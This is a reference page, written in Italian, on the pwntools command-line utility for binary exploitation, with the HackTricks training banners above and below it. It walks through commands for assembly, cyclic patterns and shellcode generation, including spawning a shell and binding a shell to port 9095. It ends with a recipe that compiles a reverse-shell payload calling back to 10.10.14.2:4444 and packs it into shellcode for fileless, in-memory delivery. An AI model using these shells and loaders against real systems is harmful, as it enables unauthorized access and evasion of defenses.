PwnTools
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
pip3 install pwntools
Pwn asm
Ottieni opcodes da una riga o da un file.
pwn asm "jmp esp"
pwn asm -i <filepath>
Puoi selezionare:
- tipo di output (raw,hex,string,elf)
- contesto del file di output (16,32,64,linux,windows...)
- evitare byte (new lines, null, a list)
- seleziona encoder, debug shellcode con gdb, esegui l'output
Pwn checksec
Checksec script
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Ottieni un pattern
pwn cyclic 3000
pwn cyclic -l faad
È possibile selezionare:
- L'alfabeto usato (caratteri minuscoli per impostazione predefinita)
- Lunghezza del uniq pattern (predefinito 4)
- context (16,32,64,linux,windows...)
- Calcola l'offset (-l)
Pwn debug
Collega GDB a un processo
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
È possibile selezionare:
- Per executable, per nome o per contesto pid (16,32,64,linux,windows...)
- gdbscript da eseguire
- sysrootpath
Pwn disablenx
Disabilita nx di un binary
pwn disablenx <filepath>
Pwn disasm
Disassembla opcode in hex
pwn disasm ffe4
Può selezionare:
- context (16,32,64,linux,windows...)
- indirizzo base
- colore (predefinito)/no colore
Pwn elfdiff
Stampa le differenze tra 2 file
pwn elfdiff <file1> <file2>
Pwn hex
Ottieni la rappresentazione esadecimale
pwn hex hola #Get hex of "hola" ascii
Pwn phd
Ottieni hexdump
pwn phd <file>
Puoi selezionare:
- Numero di byte da mostrare
- Numero di byte per riga / byte da evidenziare
- Ignora byte all'inizio
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Ottieni shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Puoi selezionare:
- shellcode e argomenti per il shellcode
- File di output
- formato di output
- debug (attach dbg al shellcode)
- prima (debug trap prima del codice)
- dopo
- evitare l'uso di opcodes (default: not null and new line)
- Esegui il shellcode
- Colore/no colore
- Elenca syscalls
- Elenca possibili shellcodes
- Genera ELF come shared library
Pwn template
Ottieni un template Python
pwn template
È possibile selezionare: host, port, user, pass, path and quiet
Pwn unhex
Da hex a string
pwn unhex 686f6c61
Aggiornamento Pwn
Per aggiornare pwntools
pwn update
ELF → impacchettamento raw shellcode (loader_append)
Pwntools può trasformare un ELF standalone in un singolo blob di raw shellcode che si mappa autonomamente i segmenti e trasferisce l'esecuzione all'entrypoint originale. Questo è ideale per memory-only loaders (es., Android apps che invocano JNI per eseguire byte scaricati).
Pipeline tipica (esempio amd64)
- Costruire un payload ELF statico e position-independent (si consiglia musl per portabilità):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Convertire ELF → shellcode con pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Consegnare sc a un memory loader (es., via HTTP[S]) ed eseguirlo in-process.
Note
- loader_append incorpora il programma ELF originale nel shellcode ed emette un piccolo loader che mmaps i segmenti e salta all'entry.
- Sii esplicito riguardo l'architettura tramite context.clear(arch=...). arm64 è comune su Android.
- Mantieni il codice del tuo payload position‑independent ed evita assunzioni sull'ASLR/NX del processo.
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.